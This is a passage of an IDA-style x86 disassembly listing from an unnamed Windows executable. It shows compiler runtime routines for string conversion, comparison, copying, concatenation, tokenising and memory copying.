		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		cmp	ecx, edx
		jbe	short loc_41BD18

loc_41BD12:				; CODE XREF: sub_41BBBD+147j
		or	[ebp+arg_C], 4
		jmp	short loc_41BD21
; ---------------------------------------------------------------------------

loc_41BD18:				; CODE XREF: sub_41BBBD+145j
					; sub_41BBBD+153j
		imul	esi, [ebp+arg_8]
		add	esi, ecx
		mov	[ebp+var_8], esi

loc_41BD21:				; CODE XREF: sub_41BBBD+159j
		mov	eax, [ebp+var_4]
		inc	[ebp+var_4]
		mov	bl, [eax]
		jmp	loc_41BC92
; ---------------------------------------------------------------------------

loc_41BD2E:				; CODE XREF: sub_41BBBD+125j
					; sub_41BBBD+139j
		mov	ecx, [ebp+arg_C]
		dec	[ebp+var_4]
		mov	edx, [ebp+arg_4]
		test	cl, 8
		jnz	short loc_41BD4C
		test	edx, edx
		jz	short loc_41BD46
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax

loc_41BD46:				; CODE XREF: sub_41BBBD+181j
		and	[ebp+var_8], 0
		jmp	short loc_41BD99
; ---------------------------------------------------------------------------

loc_41BD4C:				; CODE XREF: sub_41BBBD+17Dj
		test	cl, 4
		mov	eax, 7FFFFFFFh
		jnz	short loc_41BD72
		test	cl, 1
		jnz	short loc_41BD99
		and	ecx, 2
		jz	short loc_41BD69
		cmp	[ebp+var_8], 80000000h
		ja	short loc_41BD72

loc_41BD69:				; CODE XREF: sub_41BBBD+1A1j
		test	ecx, ecx
		jnz	short loc_41BD99
		cmp	[ebp+var_8], eax
		jbe	short loc_41BD99

loc_41BD72:				; CODE XREF: sub_41BBBD+197j
					; sub_41BBBD+1AAj
		test	byte ptr [ebp+arg_C], 1
		mov	dword_4DB278, 22h
		jz	short loc_41BD88
		or	[ebp+var_8], 0FFFFFFFFh
		jmp	short loc_41BD99
; ---------------------------------------------------------------------------

loc_41BD88:				; CODE XREF: sub_41BBBD+1C3j
		mov	ecx, [ebp+arg_C]
		and	cl, 2
		neg	cl
		sbb	ecx, ecx
		neg	ecx
		add	ecx, eax
		mov	[ebp+var_8], ecx

loc_41BD99:				; CODE XREF: sub_41BBBD+18Dj
					; sub_41BBBD+19Cj ...
		test	edx, edx
		jz	short loc_41BDA2
		mov	eax, [ebp+var_4]
		mov	[edx], eax

loc_41BDA2:				; CODE XREF: sub_41BBBD+1DEj
		test	byte ptr [ebp+arg_C], 2
		jz	short loc_41BDB0
		mov	eax, [ebp+var_8]
		neg	eax
		mov	[ebp+var_8], eax

loc_41BDB0:				; CODE XREF: sub_41BBBD+1E9j
		mov	eax, [ebp+var_8]
		jmp	short loc_41BDC0
; ---------------------------------------------------------------------------

loc_41BDB5:				; CODE XREF: sub_41BBBD+66j
					; sub_41BBBD+6Fj ...
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_41BDBE
		mov	[eax], edi

loc_41BDBE:				; CODE XREF: sub_41BBBD+1FDj
		xor	eax, eax

loc_41BDC0:				; CODE XREF: sub_41BBBD+1F6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41BBBD	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BDC5	proc near		; CODE XREF: sub_401ACD+61CEp
					; sub_401ACD+6A0Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41BBBD
		add	esp, 10h
		retn
sub_41BDC5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BDDC	proc near		; CODE XREF: sub_401ACD+5980p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		nop
		call	near ptr 2670188h
		test	eax, eax
		jnz	short loc_41BDF2
		nop
		call	near ptr 267084Ch
		jmp	short loc_41BDF4
; ---------------------------------------------------------------------------

loc_41BDF2:				; CODE XREF: sub_41BDDC+Cj
		xor	eax, eax

loc_41BDF4:				; CODE XREF: sub_41BDDC+14j
		test	eax, eax
		jz	short loc_41BE03
		push	eax
		call	sub_4203DF
		pop	ecx
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------

loc_41BE03:				; CODE XREF: sub_41BDDC+1Aj
		xor	eax, eax
		retn
sub_41BDDC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BE06	proc near		; CODE XREF: sub_401ACD+58D2p
					; ___:00411CA1p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_420446
		mov	esi, eax
		lea	eax, [ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41F69F
		push	[ebp+arg_0]
		mov	edi, eax
		push	esi
		call	sub_4204D3
		add	esp, 18h
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_41BE06	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BE40	proc near		; CODE XREF: sub_401ACD+1E81p
					; sub_401ACD+1EA0p ...

arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, [ebp+arg_0]
		xor	eax, eax
		or	ecx, 0FFFFFFFFh
		repne scasb
		inc	ecx
		neg	ecx
		dec	edi
		mov	al, [ebp+arg_4]
		std
		repne scasb
		inc	edi
		cmp	[edi], al
		jz	short loc_41BE61
		xor	eax, eax
		jmp	short loc_41BE63
; ---------------------------------------------------------------------------

loc_41BE61:				; CODE XREF: sub_41BE40+1Bj
		mov	eax, edi

loc_41BE63:				; CODE XREF: sub_41BE40+1Fj
		cld
		pop	edi
		leave
		retn
sub_41BE40	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BE70	proc near		; CODE XREF: sub_401ACD+870p
					; ___:0041DD1Dp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ecx, [ebp+arg_8]
		jecxz	short loc_41BEA1
		mov	ebx, ecx
		mov	edi, [ebp+arg_0]
		mov	esi, edi
		xor	eax, eax
		repne scasb
		neg	ecx
		add	ecx, ebx
		mov	edi, esi
		mov	esi, [ebp+arg_4]
		repe cmpsb
		mov	al, [esi-1]
		xor	ecx, ecx
		cmp	al, [edi-1]
		ja	short loc_41BE9F
		jz	short loc_41BEA1
		dec	ecx
		dec	ecx

loc_41BE9F:				; CODE XREF: sub_41BE70+29j
		not	ecx

loc_41BEA1:				; CODE XREF: sub_41BE70+9j
					; sub_41BE70+2Bj
		mov	eax, ecx
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_41BE70	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BEB0	proc near		; CODE XREF: sub_401ACD+42Fp
					; sub_401ACD+2FFCp ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		jmp	short loc_41BF21
sub_41BEB0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BEC0	proc near		; CODE XREF: sub_401ACD+438p
					; sub_401ACD+75FEp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		push	edi
		test	ecx, 3
		jz	short loc_41BEDC

loc_41BECD:				; CODE XREF: sub_41BEC0+1Aj
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_41BF0F
		test	ecx, 3
		jnz	short loc_41BECD

loc_41BEDC:				; CODE XREF: sub_41BEC0+Bj
					; sub_41BEC0+32j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41BEDC
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_41BF1E
		test	ah, ah
		jz	short loc_41BF19
		test	eax, 0FF0000h
		jz	short loc_41BF14
		test	eax, 0FF000000h
		jz	short loc_41BF0F
		jmp	short loc_41BEDC
; ---------------------------------------------------------------------------

loc_41BF0F:				; CODE XREF: sub_41BEC0+12j
					; sub_41BEC0+4Bj
		lea	edi, [ecx-1]
		jmp	short loc_41BF21
; ---------------------------------------------------------------------------

loc_41BF14:				; CODE XREF: sub_41BEC0+44j
		lea	edi, [ecx-2]
		jmp	short loc_41BF21
; ---------------------------------------------------------------------------

loc_41BF19:				; CODE XREF: sub_41BEC0+3Dj
		lea	edi, [ecx-3]
		jmp	short loc_41BF21
; ---------------------------------------------------------------------------

loc_41BF1E:				; CODE XREF: sub_41BEC0+39j
		lea	edi, [ecx-4]

loc_41BF21:				; CODE XREF: sub_41BEB0+5j
					; sub_41BEC0+52j ...
		mov	ecx, [esp+4+arg_4]
		test	ecx, 3
		jz	short loc_41BF46

loc_41BF2D:				; CODE XREF: sub_41BEC0+7Dj
		mov	dl, [ecx]
		inc	ecx
		test	dl, dl
		jz	short loc_41BF98
		mov	[edi], dl
		inc	edi
		test	ecx, 3
		jnz	short loc_41BF2D
		jmp	short loc_41BF46
; ---------------------------------------------------------------------------

loc_41BF41:				; CODE XREF: sub_41BEC0+9Ej
					; sub_41BEC0+B8j
		mov	[edi], edx
		add	edi, 4

loc_41BF46:				; CODE XREF: sub_41BEC0+6Bj
					; sub_41BEC0+7Fj
		mov	edx, 7EFEFEFFh
		mov	eax, [ecx]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [ecx]
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41BF41
		test	dl, dl
		jz	short loc_41BF98
		test	dh, dh
		jz	short loc_41BF8F
		test	edx, 0FF0000h
		jz	short loc_41BF82
		test	edx, 0FF000000h
		jz	short loc_41BF7A
		jmp	short loc_41BF41
; ---------------------------------------------------------------------------

loc_41BF7A:				; CODE XREF: sub_41BEC0+B6j
		mov	[edi], edx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_41BF82:				; CODE XREF: sub_41BEC0+AEj
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		mov	byte ptr [edi+2], 0
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_41BF8F:				; CODE XREF: sub_41BEC0+A6j
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_41BF98:				; CODE XREF: sub_41BEC0+72j
					; sub_41BEC0+A2j
		mov	[edi], dl
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
sub_41BEC0	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41BFB0

loc_41BFA0:				; CODE XREF: sub_41BFB0+1Dj
		lea	eax, [edx-1]
		pop	ebx
		retn
; END OF FUNCTION CHUNK	FOR sub_41BFB0
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BFB0	proc near		; CODE XREF: sub_401ACD+414p
					; sub_401ACD+4C3p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

; FUNCTION CHUNK AT 0041BFA0 SIZE 00000005 BYTES

		xor	eax, eax
		mov	al, [esp+arg_4]

loc_41BFB6:				; CODE XREF: sub_41B900+6Ej
		push	ebx
		mov	ebx, eax
		shl	eax, 8
		mov	edx, [esp+4+arg_0]
		test	edx, 3
		jz	short loc_41BFDB

loc_41BFC8:				; CODE XREF: sub_41BFB0+29j
		mov	cl, [edx]
		inc	edx
		cmp	cl, bl
		jz	short loc_41BFA0
		test	cl, cl
		jz	short loc_41C024
		test	edx, 3
		jnz	short loc_41BFC8

loc_41BFDB:				; CODE XREF: sub_41BFB0+16j
		or	ebx, eax
		push	edi
		mov	eax, ebx
		shl	ebx, 10h
		push	esi
		or	ebx, eax

loc_41BFE6:				; CODE XREF: sub_41BFB0+61j
					; sub_41BFB0+70j ...
		mov	ecx, [edx]
		mov	edi, 7EFEFEFFh
		mov	eax, ecx
		mov	esi, edi
		xor	ecx, ebx
		add	esi, eax
		add	edi, ecx
		xor	ecx, 0FFFFFFFFh
		xor	eax, 0FFFFFFFFh
		xor	ecx, edi
		xor	eax, esi
		add	edx, 4
		and	ecx, 81010100h
		jnz	short loc_41C028
		and	eax, 81010100h
		jz	short loc_41BFE6
		and	eax, 1010100h
		jnz	short loc_41C022
		and	esi, 80000000h
		jnz	short loc_41BFE6

loc_41C022:				; CODE XREF: sub_41BFB0+68j
					; sub_41BFB0+81j ...
		pop	esi
		pop	edi

loc_41C024:				; CODE XREF: sub_41BFB0+21j
		pop	ebx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_41C028:				; CODE XREF: sub_41BFB0+5Aj
		mov	eax, [edx-4]
		cmp	al, bl
		jz	short loc_41C065
		test	al, al
		jz	short loc_41C022
		cmp	ah, bl
		jz	short loc_41C05E
		test	ah, ah
		jz	short loc_41C022
		shr	eax, 10h
		cmp	al, bl
		jz	short loc_41C057
		test	al, al
		jz	short loc_41C022
		cmp	ah, bl
		jz	short loc_41C050
		test	ah, ah
		jz	short loc_41C022
		jmp	short loc_41BFE6
; ---------------------------------------------------------------------------

loc_41C050:				; CODE XREF: sub_41BFB0+98j
		pop	esi
		pop	edi
		lea	eax, [edx-1]
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_41C057:				; CODE XREF: sub_41BFB0+90j
		lea	eax, [edx-2]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_41C05E:				; CODE XREF: sub_41BFB0+85j
		lea	eax, [edx-3]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_41C065:				; CODE XREF: sub_41BFB0+7Dj
		lea	eax, [edx-4]
		pop	esi
		pop	edi
		pop	ebx
		retn
sub_41BFB0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41C070	proc near		; CODE XREF: sub_401ACD+1AEp
					; sub_401ACD+205p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		test	edx, 3
		jnz	short loc_41C0BC

loc_41C080:				; CODE XREF: sub_41C070+3Cj
					; sub_41C070+66j ...
		mov	eax, [edx]
		cmp	al, [ecx]
		jnz	short loc_41C0B4
		or	al, al
		jz	short loc_41C0B0
		cmp	ah, [ecx+1]
		jnz	short loc_41C0B4
		or	ah, ah
		jz	short loc_41C0B0
		shr	eax, 10h
		cmp	al, [ecx+2]
		jnz	short loc_41C0B4
		or	al, al
		jz	short loc_41C0B0
		cmp	ah, [ecx+3]
		jnz	short loc_41C0B4
		add	ecx, 4
		add	edx, 4
		or	ah, ah
		jnz	short loc_41C080
		mov	edi, edi

loc_41C0B0:				; CODE XREF: sub_41C070+18j
					; sub_41C070+21j ...
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41C0B4:				; CODE XREF: sub_41C070+14j
					; sub_41C070+1Dj ...
		sbb	eax, eax
		shl	eax, 1
		inc	eax
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41C0BC:				; CODE XREF: sub_41C070+Ej
		test	edx, 1
		jz	short loc_41C0D8
		mov	al, [edx]
		inc	edx
		cmp	al, [ecx]
		jnz	short loc_41C0B4
		inc	ecx
		or	al, al
		jz	short loc_41C0B0
		test	edx, 2
		jz	short loc_41C080

loc_41C0D8:				; CODE XREF: sub_41C070+52j
		mov	ax, [edx]
		add	edx, 2
		cmp	al, [ecx]
		jnz	short loc_41C0B4
		or	al, al
		jz	short loc_41C0B0
		cmp	ah, [ecx+1]
		jnz	short loc_41C0B4
		or	ah, ah
		jz	short loc_41C0B0
		add	ecx, 2
		jmp	short loc_41C080
sub_41C070	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C0F4	proc near		; CODE XREF: sub_401ACD+B5p
					; sub_401ACD+D5p ...

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		push	8
		xor	eax, eax
		pop	ecx
		lea	edi, [ebp+var_20]
		rep stosd
		push	7
		pop	edi

loc_41C10D:				; CODE XREF: sub_41C0F4+32j
		mov	dl, [esi]
		mov	bl, 1
		movzx	ecx, dl
		mov	eax, ecx
		and	ecx, edi
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_20]
		or	[eax], bl
		inc	esi
		test	dl, dl
		jnz	short loc_41C10D
		mov	edx, [ebp+arg_0]
		test	edx, edx
		jnz	short loc_41C135
		mov	edx, dword_4DB2C4

loc_41C135:				; CODE XREF: sub_41C0F4+39j
					; sub_41C0F4+5Fj
		mov	al, [edx]
		push	1
		movzx	esi, al
		mov	ecx, esi
		pop	ebx
		and	ecx, edi
		shl	ebx, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	bl, cl
		jz	short loc_41C155
		test	al, al
		jz	short loc_41C155
		inc	edx
		jmp	short loc_41C135
; ---------------------------------------------------------------------------

loc_41C155:				; CODE XREF: sub_41C0F4+58j
					; sub_41C0F4+5Cj
		mov	ebx, edx

loc_41C157:				; CODE XREF: sub_41C0F4+81j
		mov	al, [edx]
		test	al, al
		jz	short loc_41C17B
		movzx	esi, al
		mov	ecx, esi
		push	1
		and	ecx, edi
		pop	eax
		shl	eax, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	al, cl
		jnz	short loc_41C177
		inc	edx
		jmp	short loc_41C157
; ---------------------------------------------------------------------------

loc_41C177:				; CODE XREF: sub_41C0F4+7Ej
		and	byte ptr [edx],	0
		inc	edx

loc_41C17B:				; CODE XREF: sub_41C0F4+67j
		mov	eax, ebx
		pop	edi
		sub	eax, edx
		pop	esi
		neg	eax
		sbb	eax, eax
		mov	dword_4DB2C4, edx
		and	eax, ebx
		pop	ebx
		leave
		retn
sub_41C0F4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C190	proc near		; CODE XREF: sub_409A2C+1Cp
					; sub_415220+19p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	[ebp+arg_C]
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_8]
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_14], 42h
		push	eax
		call	sub_41F69F
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41C1CE
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41C1DB
; ---------------------------------------------------------------------------

loc_41C1CE:				; CODE XREF: sub_41C190+34j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41F58A
		pop	ecx
		pop	ecx

loc_41C1DB:				; CODE XREF: sub_41C190+3Cj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41C190	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C1E0	proc near		; CODE XREF: sub_40AFEA+88p
					; sub_40B64A+60p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	loc_41C294
		mov	edi, [esp+4+arg_0]
		push	esi
		test	edi, 3
		push	ebx
		jz	short loc_41C20A

loc_41C1FB:				; CODE XREF: sub_41C1E0+28j
		mov	al, [edi]
		inc	edi
		test	al, al
		jz	short loc_41C23B
		test	edi, 3
		jnz	short loc_41C1FB

loc_41C20A:				; CODE XREF: sub_41C1E0+19j
					; sub_41C1E0+40j ...
		mov	eax, [edi]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	edi, 4
		test	eax, 81010100h
		jz	short loc_41C20A
		mov	eax, [edi-4]
		test	al, al
		jz	short loc_41C248
		test	ah, ah
		jz	short loc_41C243
		test	eax, 0FF0000h
		jz	short loc_41C23E
		test	eax, 0FF000000h
		jnz	short loc_41C20A

loc_41C23B:				; CODE XREF: sub_41C1E0+20j
		dec	edi
		jmp	short loc_41C24B
; ---------------------------------------------------------------------------

loc_41C23E:				; CODE XREF: sub_41C1E0+52j
		sub	edi, 2
		jmp	short loc_41C24B
; ---------------------------------------------------------------------------

loc_41C243:				; CODE XREF: sub_41C1E0+4Bj
		sub	edi, 3
		jmp	short loc_41C24B
; ---------------------------------------------------------------------------

loc_41C248:				; CODE XREF: sub_41C1E0+47j
		sub	edi, 4

loc_41C24B:				; CODE XREF: sub_41C1E0+5Cj
					; sub_41C1E0+61j ...
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		jnz	short loc_41C260
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41C2AC
		jmp	short loc_41C27C
; ---------------------------------------------------------------------------

loc_41C260:				; CODE XREF: sub_41C1E0+75j
					; sub_41C1E0+93j
		mov	dl, [esi]
		inc	esi
		test	dl, dl
		jz	short loc_41C29A
		mov	[edi], dl
		inc	edi
		dec	ecx
		jz	short loc_41C290
		test	esi, 3
		jnz	short loc_41C260
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41C2AC

loc_41C27C:				; CODE XREF: sub_41C1E0+7Ej
					; sub_41C1E0+CAj
		mov	ecx, ebx
		and	ecx, 3
		jz	short loc_41C290

loc_41C283:				; CODE XREF: sub_41C1E0+AEj
		mov	dl, [esi]
		inc	esi
		mov	[edi], dl
		inc	edi
		test	dl, dl
		jz	short loc_41C292
		dec	ecx
		jnz	short loc_41C283

loc_41C290:				; CODE XREF: sub_41C1E0+8Bj
					; sub_41C1E0+A1j
		mov	[edi], cl

loc_41C292:				; CODE XREF: sub_41C1E0+ABj
		pop	ebx
		pop	esi

loc_41C294:				; CODE XREF: sub_41C1E0+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_41C29A:				; CODE XREF: sub_41C1E0+85j
					; sub_41C1E0+E8j
		mov	[edi], dl
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_41C2A4:				; CODE XREF: sub_41C1E0+E4j
					; sub_41C1E0+FCj
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_41C27C

loc_41C2AC:				; CODE XREF: sub_41C1E0+7Cj
					; sub_41C1E0+9Aj
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_41C2A4
		test	dl, dl
		jz	short loc_41C29A
		test	dh, dh
		jz	short loc_41C2F8
		test	edx, 0FF0000h
		jz	short loc_41C2E8
		test	edx, 0FF000000h
		jnz	short loc_41C2A4
		mov	[edi], edx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_41C2E8:				; CODE XREF: sub_41C1E0+F4j
		mov	[edi], dx
		xor	edx, edx
		mov	eax, [esp+0Ch+arg_0]
		mov	[edi+2], dl
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_41C2F8:				; CODE XREF: sub_41C1E0+ECj
		mov	[edi], dx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_41C1E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C310	proc near		; CODE XREF: sub_40BFA3+15p
					; sub_40BFA3+3Bp ...

var_3A3BFFC0	= byte ptr -3A3BFFC0h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_41C330
		cmp	edi, eax
		jb	loc_41C4A8

loc_41C330:				; CODE XREF: sub_41C310+16j
		test	edi, 3
		jnz	short loc_41C34C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41C36C
		rep movsd
		jmp	off_41C458[edx*4]
; ---------------------------------------------------------------------------

loc_41C34C:				; CODE XREF: sub_41C310+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_41C364
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_41C36C+4[eax*4]
; ---------------------------------------------------------------------------

loc_41C364:				; CODE XREF: sub_41C310+46j
		jmp	dword ptr loc_41C468[ecx*4]
; ---------------------------------------------------------------------------
		align 4

loc_41C36C:				; CODE XREF: sub_41C310+31j
					; sub_41C310+8Ej ...
		jmp	off_41C3EC[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41C380
; ---------------------------------------------------------------------------
		lodsb
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	al, dl
		retn
; ---------------------------------------------------------------------------
		dw 41h
; ---------------------------------------------------------------------------

loc_41C380:				; DATA XREF: sub_41C310+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_41C36C
		rep movsd
		jmp	off_41C458[edx*4]
; ---------------------------------------------------------------------------
		align 4
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_41C36C
		rep movsd
		jmp	off_41C458[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_41C36C
		rep movsd
		jmp	off_41C458[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41C3EC	dd offset loc_41C44F	; DATA XREF: sub_41C310:loc_41C36Cr
		dd offset loc_41C43C
		dd offset loc_41C434
		dd offset loc_41C42C
		dd offset loc_41C424
		dd offset loc_41C41C
		dd offset loc_41C414
		dd offset loc_41C40C
; ---------------------------------------------------------------------------

loc_41C40C:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax

loc_41C414:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax

loc_41C41C:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax

loc_41C424:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax

loc_41C42C:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax

loc_41C434:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax

loc_41C43C:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax

loc_41C44F:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310:off_41C3ECo
		jmp	off_41C458[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41C458	dd offset loc_41C468	; DATA XREF: sub_41C310+35r
					; sub_41C310+92r ...
		dd offset loc_41C470
		dd offset loc_41C47C
		dd offset loc_41C490
; ---------------------------------------------------------------------------

loc_41C468:				; CODE XREF: sub_41C310+35j
					; sub_41C310+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h

loc_41C470:				; CODE XREF: sub_41C310+35j
					; sub_41C310+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41C47C:				; CODE XREF: sub_41C310+35j
					; sub_41C310+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
